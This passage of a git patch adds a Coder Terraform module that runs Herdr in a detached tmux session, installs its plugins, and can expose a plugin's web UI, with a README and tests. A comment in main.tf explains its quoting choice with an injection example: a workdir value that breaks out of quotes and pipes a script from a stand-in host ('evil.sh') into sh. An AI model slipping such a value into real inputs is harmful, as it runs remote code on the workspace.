From fd92bc36b2dbc7be22effa99af4f66db86953874 Mon Sep 17 00:00:00 2001 From: Guilherme Nimer Kovalek Gojlevicius Date: Wed, 19 Aug 2026 13:18:55 +0000 Subject: [PATCH 1/4] feat(gojnimer6553): add herdr module Runs Herdr (herdr.dev) in a Coder workspace, giving it a real pseudo-terminal via a detached tmux session the same way the happy module does for the happy CLI (Herdr has no documented headless/daemon startup mode). Adds an opt-in `plugins` list that installs Herdr plugins non-interactively via `herdr plugin install --yes`, plus an optional `app_port` to expose a plugin's own local web UI as a Coder app tile, and a `post_start_script` hook so callers can work around plugin-specific gaps (e.g. a plugin's setup wizard assuming infrastructure the workspace doesn't have) without baking plugin-specific logic into the module itself. Validated locally: terraform init/test (14/14 passed), bun test main.test.ts against real Docker containers (10/10 passed), shellcheck clean, prettier/terraform fmt clean. Also validated in production use against the real herdr and herdr-mobile-relay/collie plugin binaries in a Coder workspace template. --- .icons/herdr.svg | 5 + registry/gojnimer6553/modules/herdr/README.md | 206 ++++++++++ .../gojnimer6553/modules/herdr/main.test.ts | 361 ++++++++++++++++++ registry/gojnimer6553/modules/herdr/main.tf | 283 ++++++++++++++ .../modules/herdr/main.tftest.hcl | 301 +++++++++++++++ .../modules/herdr/scripts/install.sh.tftpl | 98 +++++ .../modules/herdr/scripts/start.sh.tftpl | 129 +++++++ 7 files changed, 1383 insertions(+) create mode 100644 .icons/herdr.svg create mode 100644 registry/gojnimer6553/modules/herdr/README.md create mode 100644 registry/gojnimer6553/modules/herdr/main.test.ts create mode 100644 registry/gojnimer6553/modules/herdr/main.tf create mode 100644 registry/gojnimer6553/modules/herdr/main.tftest.hcl create mode 100644 registry/gojnimer6553/modules/herdr/scripts/install.sh.tftpl create mode 100644 registry/gojnimer6553/modules/herdr/scripts/start.sh.tftpl diff --git a/.icons/herdr.svg b/.icons/herdr.svg new file mode 100644 index 000000000..e406bcccc --- /dev/null +++ b/.icons/herdr.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/registry/gojnimer6553/modules/herdr/README.md b/registry/gojnimer6553/modules/herdr/README.md new file mode 100644 index 000000000..600e2393c --- /dev/null +++ b/registry/gojnimer6553/modules/herdr/README.md @@ -0,0 +1,206 @@ +--- +display_name: Herdr +description: Run Herdr in a Coder workspace and opt in to installing Herdr plugins (e.g. 0cv/herdr-mobile-relay for remote phone control) non-interactively. +icon: ../../../../.icons/herdr.svg +verified: false +tags: [ai, agent, mobile, terminal, herdr] +--- + +# Herdr + +Runs [Herdr](https://herdr.dev) — a terminal/agent-session manager that detects and drives coding +agents (Claude Code, Codex, OpenCode, and others) in persistent background panes — inside a Coder +workspace, and optionally installs Herdr [plugins](https://herdr.dev/docs/plugins/) non-interactively +via `herdr plugin install --yes`. + +```tf +module "herdr" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/herdr/coder" + version = "1.0.0" + agent_id = coder_agent.main.id +} +``` + +> [!IMPORTANT] +> This module installs and starts Herdr, but does not authenticate the coding agent(s) Herdr +> manages (e.g. `claude auth login`) — do that in the workspace image beforehand, same as you would +> without Herdr. Herdr itself needs no account or API key. + +> [!IMPORTANT] +> `plugins` only registers plugins with `herdr plugin install --yes` — it does not run a plugin's own +> setup wizard. Most plugins, including [0cv/herdr-mobile-relay](https://github.com/0cv/herdr-mobile-relay), +> still need a one-time interactive step from a workspace terminal afterwards (see +> [How plugin setup works](#how-plugin-setup-works) below). Plugins are third-party, unreviewed content +> pulled from arbitrary GitHub repositories — only list sources you trust. + +## How it works + +Herdr has no documented headless/daemon startup mode (like most terminal multiplexers, it expects a +real tty). This module gives it one the same way the [`happy`](../happy) module does for the `happy` +CLI: it starts `herdr` detached inside its own `tmux` session, so the server keeps running in the +background independent of the `coder_script` that launched it. By default this runs Herdr's default, +unnamed session — the same one you get by typing `herdr` in any workspace terminal — so plugins +installed by this module and panes you open by hand end up in the same place. + +On every workspace start, after Herdr comes up, the module runs `herdr plugin install --yes` +for each entry in `plugins`. + +## How plugin setup works + +Installing a plugin (via this module's `plugins` variable, or by hand) only registers it with Herdr. +Plugins that need their own setup — like +[0cv/herdr-mobile-relay](https://github.com/0cv/herdr-mobile-relay), which needs you to choose a +tunnel/pairing mode — still need that run once from a workspace terminal: + +```shell +herdr plugin action invoke setup --plugin herdr-mobile-relay.events +``` + +(Substitute the plugin's own id — check its `herdr-plugin.toml` — for other plugins.) This module +deliberately does not attempt to drive that wizard automatically: it's interactive by design (it asks +you to choose between a temporary tunnel and a permanent one, and confirms installing tools like +`cloudflared`), and scripting around it reliably wasn't something this module could verify without a +live Herdr install to test against. + +Once a plugin like `0cv/herdr-mobile-relay` has completed its own setup and is serving a local web UI +(mobile-relay's default is port 8375), set `app_port` to expose it as a Coder app tile — see the +example below. + +### Alternative: skip the wizard entirely with `post_start_script` + +`0cv/herdr-mobile-relay`'s guided setup (`herdr plugin action invoke setup ...`) only offers two +paths, and both hard-require `cloudflared` — there's no option to expose the relay through Coder's +own app proxy instead. If you don't want a Cloudflare account/tunnel in the workspace at all, you can +bypass the wizard and start the plugin's own relay binary directly from `post_start_script`, since it +installs to `$HOME/.local/bin/herdr-mobile-relay` (on `PATH` by the time `post_start_script` runs) and +accepts a `serve` subcommand with no tunnel involved — see +[Expose a plugin's web UI through Coder instead of its own tunnel](#expose-a-plugins-web-ui-through-coder-instead-of-its-own-tunnel) +below. + +## Examples + +### Install the mobile-relay plugin and expose its pairing UI as an app tile + +```tf +module "herdr" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/herdr/coder" + version = "1.0.0" + agent_id = coder_agent.main.id + plugins = ["0cv/herdr-mobile-relay"] + app_port = 8375 +} +``` + +The plugin's own setup wizard (see [How plugin setup works](#how-plugin-setup-works)) still needs to +run once from a workspace terminal before the app tile serves anything. + +### Expose a plugin's web UI through Coder instead of its own tunnel + +`0cv/herdr-mobile-relay` binds to `127.0.0.1:8375` by default regardless of which setup path you use — +the same address `app_port` already proxies through Coder. `post_start_script` can start the relay +binary directly (`herdr-mobile-relay serve`), skipping the wizard and its `cloudflared` requirement +entirely: + +```tf +module "herdr" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/herdr/coder" + version = "1.0.0" + agent_id = coder_agent.main.id + plugins = ["0cv/herdr-mobile-relay"] + app_port = 8375 + share = "public" # required: the phone has no Coder session to authenticate with + post_start_script = <<-EOT + #!/bin/bash + set -euo pipefail + MODULE_DIR="$HOME/.coder-modules/gojnimer6553/herdr" + TOKEN_FILE="$MODULE_DIR/mobile-relay-token" + PID_FILE="$MODULE_DIR/mobile-relay.pid" + [ -f "$TOKEN_FILE" ] || openssl rand -hex 16 > "$TOKEN_FILE" + TOKEN="$(cat "$TOKEN_FILE")" + # A PID file, not pgrep: "herdr-mobile-relay" is 19 characters, past + # Linux's 15-character comm-name limit, so "pgrep -x" can never match it + # (silently -- procps only warns on stderr). "pgrep -f" has the opposite + # problem: the whole post_start_script text is itself the argv of the + # "bash -c" process running it, and that text literally contains + # "herdr-mobile-relay serve", so an -f/substring match would match this + # very script's own process and skip starting the relay on every run. + if ! { [ -f "$PID_FILE" ] && kill -0 "$(cat "$PID_FILE")" 2> /dev/null; }; then + HERDR_RELAY_TOKEN="$TOKEN" nohup herdr-mobile-relay serve \ + >> "$MODULE_DIR/logs/mobile-relay.log" 2>&1 & + echo $! > "$PID_FILE" + disown + fi + echo "Mobile-relay token: $TOKEN" + echo "Open this module's 'herdr' app tile to find its public hostname, then from a" + echo "workspace terminal run:" + echo " herdr-mobile-relay setup-fragment \"$TOKEN\" \"$(hostname -s)\" \"wss://\"" + echo "and open https:///# on your phone." + EOT +} +``` + +This is a workaround, not something the plugin documents or the coder-utils/coder-registry-guaranteed +contract of this module covers: it relies on the plugin's binary continuing to install to +`$HOME/.local/bin/herdr-mobile-relay` and accepting an undocumented (but source-confirmed) `serve` +subcommand. `share = "public"` makes the port reachable by anyone with the link, same as a Cloudflare +Tunnel would — Herdr's own relay token and end-to-end encryption remain the real access control, not +Coder's `owner`/`authenticated` gating (which a phone with no Coder session can't satisfy anyway). + +### Run Herdr's session in a specific project directory + +```tf +module "herdr" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/herdr/coder" + version = "1.0.0" + agent_id = coder_agent.main.id + workdir = "/home/coder/project" +} +``` + +### Install multiple plugins + +```tf +module "herdr" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/herdr/coder" + version = "1.0.0" + agent_id = coder_agent.main.id + plugins = [ + "0cv/herdr-mobile-relay", + "some-owner/some-other-herdr-plugin", + ] +} +``` + +### Skip installation and use a pre-baked image + +```tf +module "herdr" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/herdr/coder" + version = "1.0.0" + agent_id = coder_agent.main.id + install = false +} +``` + +## Notes + +- **Requires `tmux`.** Same reasoning as the [`happy`](../happy) module: Herdr expects a real + pseudo-terminal and has no non-interactive/daemon startup path, so this module drives it through + one via `tmux`. If `tmux` isn't already on `PATH`, the start script installs it automatically via + the workspace's system package manager (`apt-get`/`dnf`/`yum`/`apk`/`pacman`) when running as root + or with passwordless `sudo`; otherwise it fails with a clear message. For reproducible builds (or if + the workspace has neither root nor passwordless `sudo`), add it to your Dockerfile/image instead. +- No version pinning: Herdr's installer (`herdr.dev/install.sh`) has no documented flag for + installing a specific version as of this writing, so `install = true` always installs whatever it + currently serves as latest. Set `install = false` and bake a pinned copy into the workspace image if + you need reproducible versions. +- Multi-workspace fan-in: a plugin like `0cv/herdr-mobile-relay` is designed so its own phone/web app + can hold connections to many independent relays at once (one per workspace) rather than one app + instance per workspace — see that plugin's own docs for how to add a workspace's relay to an + existing installed app instead of minting a new one. diff --git a/registry/gojnimer6553/modules/herdr/main.test.ts b/registry/gojnimer6553/modules/herdr/main.test.ts new file mode 100644 index 000000000..dfbb5728d --- /dev/null +++ b/registry/gojnimer6553/modules/herdr/main.test.ts @@ -0,0 +1,361 @@ +import { describe, expect, it, setDefaultTimeout } from "bun:test"; +import { + execContainer, + readFileContainer, + removeContainer, + runContainer, + runTerraformApply, + runTerraformInit, + testRequiredVariables, + writeCoder, + writeFileContainer, + type TerraformState, +} from "~test"; + +// coder-utils orchestrates this module's scripts and produces multiple +// coder_script resources (install, start). Collect them by their +// coder-utils-generated display_name so each can be executed in run order. +interface ModuleScripts { + install: string; + start: string; +} + +const collectScripts = (state: TerraformState): ModuleScripts => { + const byDisplayName: Record = {}; + for (const resource of state.resources) { + if (resource.type !== "coder_script") continue; + for (const instance of resource.instances) { + const attrs = instance.attributes as Record; + const displayName = attrs.display_name as string | undefined; + const script = attrs.script as string | undefined; + if (displayName && script) { + byDisplayName[displayName] = script; + } + } + } + const install = byDisplayName["Herdr: Install Script"]; + const start = byDisplayName["Herdr: Start Script"]; + if (!install) { + throw new Error("install script not found in terraform state"); + } + if (!start) { + throw new Error("start script not found in terraform state"); + } + return { install, start }; +}; + +const HERDR_BIN_PATH = "/root/.local/bin/herdr"; +const PLUGIN_LOG_PATH = "/root/.herdr-plugin-log"; + +// Fake herdr binary: enough of the real CLI's surface for this module's +// scripts to drive (--version, status, plugin install --yes) without +// a real network install or a real Herdr server. Any spec containing +// "explode" simulates a plugin that fails to install, to exercise the +// continue-on-failure path. The default (no matched subcommand) branch +// stands in for `herdr` launching its server/session -- it just sleeps, like +// the real long-running process would, and records the HERDR_SESSION env var +// it was started with so tests can confirm session_name was forwarded. +const FAKE_HERDR_BINARY = [ + "#!/bin/bash", + `LOG_FILE="${PLUGIN_LOG_PATH}"`, + 'if [ "$1" = "--version" ]; then', + ' echo "herdr fake-version 0.0.0-test"', + " exit 0", + 'elif [ "$1" = "status" ]; then', + " exit 0", + 'elif [ "$1" = "plugin" ] && [ "$2" = "install" ]; then', + ' spec="$3"', + ' case "$spec" in', + " *explode*)", + ' echo "simulated failure for $spec" >&2', + " exit 1", + " ;;", + " *)", + ' echo "$spec" >> "$LOG_FILE"', + " exit 0", + " ;;", + " esac", + "else", + ' echo "herdr-server-started session=${HERDR_SESSION:-default}"', + " sleep 3600", + "fi", +].join("\n"); + +const installFakeHerdrBinary = async (id: string) => { + await execContainer(id, ["mkdir", "-p", "/root/.local/bin"]); + await writeFileContainer(id, HERDR_BIN_PATH, FAKE_HERDR_BINARY); + await execContainer(id, ["chmod", "755", HERDR_BIN_PATH]); +}; + +setDefaultTimeout(120 * 1000); + +describe("herdr", async () => { + await runTerraformInit(import.meta.dir); + + testRequiredVariables(import.meta.dir, { + agent_id: "foo", + }); + + it("skips installation when install=false", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + }); + const { install, start } = collectScripts(state); + + const id = await runContainer("alpine/curl"); + try { + await writeCoder(id, "#!/bin/sh\nexit 0\n"); + await execContainer(id, ["sh", "-c", "apk add --no-cache bash tmux"]); + + const output = await execContainer(id, ["bash", "-c", install]); + expect(output.exitCode).toBe(0); + expect(output.stdout).toContain( + "⏭️ install=false; skipping Herdr installation.", + ); + + // The start script should fail fast: no herdr binary was ever installed. + const startOutput = await execContainer(id, ["bash", "-c", start]); + expect(startOutput.exitCode).not.toBe(0); + expect(startOutput.stderr + startOutput.stdout).toContain( + "herdr binary not found", + ); + } finally { + await removeContainer(id); + } + }); + + it("auto-installs tmux via the system package manager when missing", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + }); + const { install } = collectScripts(state); + + const id = await runContainer("alpine/curl"); + try { + await writeCoder(id, "#!/bin/sh\nexit 0\n"); + // Deliberately no tmux here -- running as root (this image's default + // user), so no sudo is needed for the install script's apk fallback. + await execContainer(id, ["sh", "-c", "apk add --no-cache bash"]); + + const output = await execContainer(id, ["bash", "-c", install]); + expect(output.exitCode).toBe(0); + expect(output.stdout).toContain("tmux not found on PATH; attempting"); + expect(output.stdout).toContain("tmux installed automatically"); + + const tmuxCheck = await execContainer(id, [ + "bash", + "-c", + "command -v tmux", + ]); + expect(tmuxCheck.exitCode).toBe(0); + } finally { + await removeContainer(id); + } + }); + + it("fails install with a clear error when tmux is missing and neither root nor sudo is available", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + }); + const { install } = collectScripts(state); + + const id = await runContainer("node:22-bookworm-slim"); + try { + await writeCoder(id, "#!/bin/bash\nexit 0\n"); + await execContainer(id, ["useradd", "-m", "testuser"]); + const output = await execContainer( + id, + ["bash", "-c", install], + ["-u", "testuser"], + ); + expect(output.exitCode).not.toBe(0); + expect(output.stdout).toContain("neither root nor passwordless sudo"); + } finally { + await removeContainer(id); + } + }); + + it("starts Herdr in a detached tmux session and installs configured plugins", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + tmux_session: "herdr-test-1", + session_name: "isolated", + plugins: JSON.stringify(["fake/plugin-one", "fake/plugin-two"]), + }); + const { install, start } = collectScripts(state); + + const id = await runContainer("node:22-bookworm-slim"); + try { + await writeCoder(id, "#!/bin/bash\nexit 0\n"); + // install=false, but the install script still creates the module's + // scripts/logs directory tree (and, incidentally, ensures tmux) -- + // running it first mirrors how coder-utils always runs install before + // start on a real workspace. + await execContainer(id, ["bash", "-c", install]); + await installFakeHerdrBinary(id); + + const output = await execContainer(id, ["bash", "-c", start]); + expect(output.exitCode).toBe(0); + expect(output.stdout).toContain( + "🚀 Starting Herdr in the background (tmux session 'herdr-test-1')", + ); + expect(output.stdout).toContain("✅ Installed plugin 'fake/plugin-one'."); + expect(output.stdout).toContain("✅ Installed plugin 'fake/plugin-two'."); + + const sessions = await execContainer(id, [ + "bash", + "-c", + "tmux list-sessions", + ]); + expect(sessions.stdout).toContain("herdr-test-1"); + + const pluginLog = await readFileContainer(id, PLUGIN_LOG_PATH); + expect(pluginLog).toContain("fake/plugin-one"); + expect(pluginLog).toContain("fake/plugin-two"); + + // session_name should be forwarded as HERDR_SESSION to the launched + // process. Read via capture-pane (current on-screen content), not the + // piped log file: "tmux pipe-pane" only starts forwarding output after + // it attaches, which happens in a separate command right after + // "new-session" -- output the wrapped process printed in that gap + // never reaches the log. capture-pane has no such race. + const pane = await execContainer(id, [ + "bash", + "-c", + "tmux capture-pane -t herdr-test-1 -p", + ]); + expect(pane.stdout).toContain("session=isolated"); + } finally { + await removeContainer(id); + } + }); + + it("leaves an already-running Herdr session alone on a second start", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + tmux_session: "herdr-test-2", + }); + const { install, start } = collectScripts(state); + + const id = await runContainer("node:22-bookworm-slim"); + try { + await writeCoder(id, "#!/bin/bash\nexit 0\n"); + await execContainer(id, ["bash", "-c", install]); + await installFakeHerdrBinary(id); + + const first = await execContainer(id, ["bash", "-c", start]); + expect(first.exitCode).toBe(0); + expect(first.stdout).toContain("🚀 Starting Herdr"); + + const second = await execContainer(id, ["bash", "-c", start]); + expect(second.exitCode).toBe(0); + expect(second.stdout).toContain( + "tmux session 'herdr-test-2' is already running", + ); + + const sessions = await execContainer(id, [ + "bash", + "-c", + "tmux list-sessions | grep -c herdr-test-2", + ]); + expect(sessions.stdout.trim()).toBe("1"); + } finally { + await removeContainer(id); + } + }); + + it("continues installing remaining plugins when one fails", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + tmux_session: "herdr-test-3", + plugins: JSON.stringify(["fake/explode-plugin", "fake/plugin-ok"]), + }); + const { install, start } = collectScripts(state); + + const id = await runContainer("node:22-bookworm-slim"); + try { + await writeCoder(id, "#!/bin/bash\nexit 0\n"); + await execContainer(id, ["bash", "-c", install]); + await installFakeHerdrBinary(id); + + const output = await execContainer(id, ["bash", "-c", start]); + // A single plugin failure must not fail the whole start script. + expect(output.exitCode).toBe(0); + expect(output.stdout).toContain( + "❌ Failed to install plugin 'fake/explode-plugin'", + ); + expect(output.stdout).toContain("✅ Installed plugin 'fake/plugin-ok'."); + expect(output.stdout).toContain( + "One or more Herdr plugins failed to install", + ); + + const pluginLog = await readFileContainer(id, PLUGIN_LOG_PATH); + expect(pluginLog).not.toContain("explode"); + expect(pluginLog).toContain("fake/plugin-ok"); + } finally { + await removeContainer(id); + } + }); + + it("runs post_start_script after Herdr and its plugins are up", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + tmux_session: "herdr-test-4", + plugins: JSON.stringify(["fake/plugin-one"]), + post_start_script: + '#!/bin/bash\necho "post-start ran, herdr version: $(herdr --version)"', + }); + const { install, start } = collectScripts(state); + + const id = await runContainer("node:22-bookworm-slim"); + try { + await writeCoder(id, "#!/bin/bash\nexit 0\n"); + await execContainer(id, ["bash", "-c", install]); + await installFakeHerdrBinary(id); + + const output = await execContainer(id, ["bash", "-c", start]); + expect(output.exitCode).toBe(0); + + const pluginIdx = output.stdout.indexOf( + "✅ Installed plugin 'fake/plugin-one'.", + ); + const postStartIdx = output.stdout.indexOf( + "post-start ran, herdr version: herdr fake-version 0.0.0-test", + ); + expect(pluginIdx).toBeGreaterThan(-1); + expect(postStartIdx).toBeGreaterThan(pluginIdx); + } finally { + await removeContainer(id); + } + }); + + it("fails the start script when post_start_script exits non-zero", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + tmux_session: "herdr-test-5", + post_start_script: "#!/bin/bash\necho boom >&2\nexit 1", + }); + const { install, start } = collectScripts(state); + + const id = await runContainer("node:22-bookworm-slim"); + try { + await writeCoder(id, "#!/bin/bash\nexit 0\n"); + await execContainer(id, ["bash", "-c", install]); + await installFakeHerdrBinary(id); + + const output = await execContainer(id, ["bash", "-c", start]); + expect(output.exitCode).not.toBe(0); + expect(output.stdout + output.stderr).toContain("boom"); + } finally { + await removeContainer(id); + } + }); +}); diff --git a/registry/gojnimer6553/modules/herdr/main.tf b/registry/gojnimer6553/modules/herdr/main.tf new file mode 100644 index 000000000..a88f3ec91 --- /dev/null +++ b/registry/gojnimer6553/modules/herdr/main.tf @@ -0,0 +1,283 @@ +terraform { + required_version = ">= 1.9" + + required_providers { + coder = { + source = "coder/coder" + version = ">= 2.13" + } + } +} + +variable "agent_id" { + description = "The ID of a Coder agent." + type = string +} + +variable "icon" { + description = "The icon to use for the install/start scripts and (when app_port is set) the app tile." + type = string + # Not "/icon/herdr.svg": that path is served from Coder's own built-in icon + # bundle (independent of this repo's .icons/ directory, which is only used + # to render the registry website), and herdr isn't in it -- pointing there + # renders a broken image. Pinned to this fork branch for now so it resolves + # immediately; switch to + # "https://raw.githubusercontent.com/coder/registry/main/.icons/herdr.svg" + # once this module is merged upstream. + default = "https://raw.githubusercontent.com/gojnimer6553/registry/add-herdr-module/.icons/herdr.svg" +} + +variable "display_name" { + description = "The display name prefix for this module's install/start scripts." + type = string + default = "Herdr" +} + +variable "workdir" { + description = "The directory Herdr's session starts in. Defaults to $HOME. The directory is created if it doesn't exist." + type = string + default = null +} + +variable "session_name" { + description = <<-EOT + Name of a Herdr named session (sets HERDR_SESSION) for this module to + start and manage. Leave unset (default) to use Herdr's default, + unnamed session -- the same one a user gets by simply typing `herdr` in + any workspace terminal, so plugins installed by this module and panes + opened by hand end up in the same place. Only set this if you + specifically need an isolated session. + EOT + type = string + default = null +} + +variable "tmux_session" { + description = <<-EOT + Name of the tmux session used to give the Herdr server a real + pseudo-terminal in the background (Herdr, like most terminal + multiplexers, expects a real tty and has no documented headless/daemon + startup mode). Change this only if it collides with another session name + in the workspace. + EOT + type = string + default = "herdr" +} + +variable "install" { + description = "Whether to install Herdr. Set to false to run a pre-installed copy instead." + type = bool + default = true +} + +variable "use_cached" { + description = "Skip installing when `herdr` is already on PATH, instead of always reinstalling on start." + type = bool + default = false +} + +variable "plugins" { + description = <<-EOT + Opt-in list of Herdr plugins to install non-interactively on every start, + each as an "owner/repo" or "owner/repo/subdir" spec passed to + `herdr plugin install --yes` (see https://herdr.dev/docs/marketplace/). + Defaults to none -- Herdr runs with zero plugins unless you list some + here. For example, ["0cv/herdr-mobile-relay"] registers the mobile-relay + plugin (remote phone control), matching how you'd normally run + `herdr plugin install 0cv/herdr-mobile-relay` by hand. + + Installing a plugin here only registers it with Herdr -- it does not run + that plugin's own setup wizard. Most plugins (including + 0cv/herdr-mobile-relay) still need a one-time interactive setup step from + a workspace terminal afterwards; see this module's README for details. + Plugins are third-party, unreviewed content fetched from arbitrary GitHub + repositories -- only list sources you trust. + EOT + type = list(string) + default = [] +} + +variable "app_port" { + description = <<-EOT + If set, exposes this local port as a coder_app tile -- useful when one of + your `plugins` serves its own local web UI, such as + 0cv/herdr-mobile-relay's relay (default port 8375) once its setup wizard + has been completed from a workspace terminal. Left unset by default: + Herdr itself has no web UI, only some plugins do. + EOT + type = number + default = null +} + +variable "app_slug" { + description = "The slug of the coder_app resource. Only used when app_port is set." + type = string + default = "herdr" +} + +variable "app_display_name" { + description = "The display name for the app tile. Only used when app_port is set." + type = string + default = "Herdr" +} + +variable "app_healthcheck_path" { + description = "Path appended to http://localhost: for the app tile's healthcheck. Only used when app_port is set." + type = string + default = "/healthz" +} + +variable "share" { + description = "Determines visibility of the app tile. Must be one of 'owner', 'authenticated', or 'public'. Only used when app_port is set." + type = string + default = "owner" + + validation { + condition = contains(["owner", "authenticated", "public"], var.share) + error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'." + } +} + +variable "subdomain" { + description = <<-EOT + Determines whether the app tile will be accessed via its own subdomain or + whether it will be accessed via a path on Coder. + If wildcards have not been setup by the administrator then apps with "subdomain" set to true will not be accessible. + Only used when app_port is set. + EOT + type = bool + default = true +} + +variable "open_in" { + description = <<-EOT + Determines where the app tile will be opened. Valid values are `"tab"` and `"slim-window"` (default). + `"tab"` opens in a new tab in the same browser window. + `"slim-window"` opens a new browser window without navigation controls. + Only used when app_port is set. + EOT + type = string + default = "slim-window" + + validation { + condition = contains(["tab", "slim-window"], var.open_in) + error_message = "The 'open_in' variable must be one of: 'tab', 'slim-window'." + } +} + +variable "order" { + description = "The order determines the position of app in the UI presentation. The lowest order is shown first and apps with equal order are sorted by name (ascending order). Only used when app_port is set." + type = number + default = null +} + +variable "group" { + description = "The name of a group that this app belongs to. Only used when app_port is set." + type = string + default = null +} + +variable "pre_install_script" { + description = "Custom script to run before installing Herdr. Can be used for dependency ordering between modules." + type = string + default = null +} + +variable "post_install_script" { + description = "Custom script to run after installing Herdr, before it starts." + type = string + default = null +} + +variable "post_start_script" { + description = <<-EOT + Custom script to run every start, after Herdr is up and every entry in + `plugins` has had an install attempted. Runs with the same PATH this + script uses (including "$HOME/.local/bin", where Herdr and its plugin + binaries install to) and the same working directory as the rest of the + start script. + + Use this for follow-up steps that need Herdr and its plugins already + running -- for example, a plugin whose own setup wizard assumes + infrastructure this workspace doesn't have (like a Cloudflare account) + can often be started directly instead by invoking its installed binary + yourself here. A non-zero exit from this script fails the start script. + EOT + type = string + default = null +} + +locals { + module_dir_name = ".coder-modules/gojnimer6553/herdr" + module_directory = "$HOME/${local.module_dir_name}" + + # Kept as an *override only* (empty string means "no override"), rather + # than pre-resolving the "$HOME"-based default here as a Terraform string -- + # see the identical comment on install_prefix_override in the "happy" + # module's main.tf for why: this needs the literal "$HOME" in + # ARG_WORKDIR_OVERRIDE to expand at shell runtime, but workdir is also a + # caller-supplied string, and a double-quoted assignment would let a value + # like `foo"; curl evil.sh | sh #` break out and execute. + workdir_override = var.workdir != null ? var.workdir : "" + + session_env = var.session_name != null ? var.session_name : "" + + install_script = templatefile("${path.module}/scripts/install.sh.tftpl", { + ARG_INSTALL = tostring(var.install) + ARG_USE_CACHED = tostring(var.use_cached) + }) + + start_script = templatefile("${path.module}/scripts/start.sh.tftpl", { + ARG_MODULE_DIRECTORY = local.module_directory + ARG_WORKDIR_OVERRIDE = local.workdir_override + ARG_SESSION_NAME = local.session_env + ARG_TMUX_SESSION = var.tmux_session + # Newline-delimited rather than JSON: the start script parses this with + # a plain `while read` loop so it doesn't need a jq dependency the + # workspace image may not have. + ARG_PLUGINS = join("\n", var.plugins) + ARG_POST_START_SCRIPT = var.post_start_script != null ? var.post_start_script : "" + }) +} + +module "coder_utils" { + source = "registry.coder.com/coder/coder-utils/coder" + version = "0.0.1" + + agent_id = var.agent_id + module_directory = local.module_directory + display_name_prefix = var.display_name + icon = var.icon + pre_install_script = var.pre_install_script + post_install_script = var.post_install_script + install_script = local.install_script + start_script = local.start_script +} + +resource "coder_app" "herdr" { + count = var.app_port != null ? 1 : 0 + agent_id = var.agent_id + slug = var.app_slug + display_name = var.app_display_name + url = "http://localhost:${var.app_port}" + icon = var.icon + subdomain = var.subdomain + share = var.share + order = var.order + group = var.group + open_in = var.open_in + + healthcheck { + url = "http://localhost:${var.app_port}${var.app_healthcheck_path}" + interval = 5 + threshold = 6 + } +} + +# Pass-through of coder-utils script outputs so upstream modules can serialize +# their own coder_script resources behind this module's install pipeline +# using `coder exp sync want `. +output "scripts" { + description = "Ordered list of coder exp sync names for the coder_script resources this module actually creates, in run order (pre_install, install, post_install, start). Scripts that were not configured are absent from the list." + value = module.coder_utils.scripts +} diff --git a/registry/gojnimer6553/modules/herdr/main.tftest.hcl b/registry/gojnimer6553/modules/herdr/main.tftest.hcl new file mode 100644 index 000000000..7e8c5fa46 --- /dev/null +++ b/registry/gojnimer6553/modules/herdr/main.tftest.hcl @@ -0,0 +1,301 @@ +run "defaults_are_correct" { + command = plan + + variables { + agent_id = "test-agent" + } + + assert { + condition = var.install == true + error_message = "Herdr installation should be enabled by default" + } + + assert { + condition = var.use_cached == false + error_message = "use_cached should be disabled by default" + } + + assert { + condition = length(var.plugins) == 0 + error_message = "plugins should be empty (opt-in) by default" + } + + assert { + condition = var.session_name == null + error_message = "session_name should be unset by default (use Herdr's default session)" + } + + assert { + condition = local.session_env == "" + error_message = "session_env should be empty when session_name is unset" + } + + assert { + condition = var.tmux_session == "herdr" + error_message = "Default tmux_session should be 'herdr'" + } + + assert { + condition = var.app_port == null + error_message = "app_port should be unset (no app tile) by default" + } + + assert { + condition = length(resource.coder_app.herdr) == 0 + error_message = "No coder_app should be created when app_port is unset" + } + + assert { + condition = var.share == "owner" + error_message = "Default share should be 'owner'" + } + + assert { + condition = var.subdomain == true + error_message = "subdomain should be enabled by default" + } + + assert { + condition = var.open_in == "slim-window" + error_message = "Default open_in should be 'slim-window'" + } + + assert { + condition = local.module_dir_name == ".coder-modules/gojnimer6553/herdr" + error_message = "Module dir name should be '.coder-modules/gojnimer6553/herdr'" + } + + assert { + condition = local.workdir_override == "" + error_message = "workdir_override should be empty by default (the script defaults to $HOME itself)" + } +} + +run "custom_plugins_configuration" { + command = plan + + variables { + agent_id = "test-agent" + plugins = ["0cv/herdr-mobile-relay", "some-owner/some-other-plugin"] + } + + assert { + condition = length(var.plugins) == 2 + error_message = "plugins should accept multiple entries" + } + + assert { + condition = var.plugins[0] == "0cv/herdr-mobile-relay" + error_message = "plugins should preserve order" + } +} + +run "custom_session_name_configuration" { + command = plan + + variables { + agent_id = "test-agent" + session_name = "isolated" + } + + assert { + condition = local.session_env == "isolated" + error_message = "Custom session_name should be forwarded as session_env" + } +} + +run "custom_workdir_configuration" { + command = plan + + variables { + agent_id = "test-agent" + workdir = "/home/coder/project" + } + + assert { + condition = local.workdir_override == "/home/coder/project" + error_message = "Custom workdir should be forwarded as the override" + } +} + +run "app_port_creates_app_tile" { + command = plan + + variables { + agent_id = "test-agent" + app_port = 8375 + } + + assert { + condition = length(resource.coder_app.herdr) == 1 + error_message = "Setting app_port should create exactly one coder_app" + } + + assert { + condition = resource.coder_app.herdr[0].url == "http://localhost:8375" + error_message = "App URL should point at localhost on the configured app_port" + } + + assert { + condition = resource.coder_app.herdr[0].slug == "herdr" + error_message = "Default app_slug should be 'herdr'" + } + + assert { + 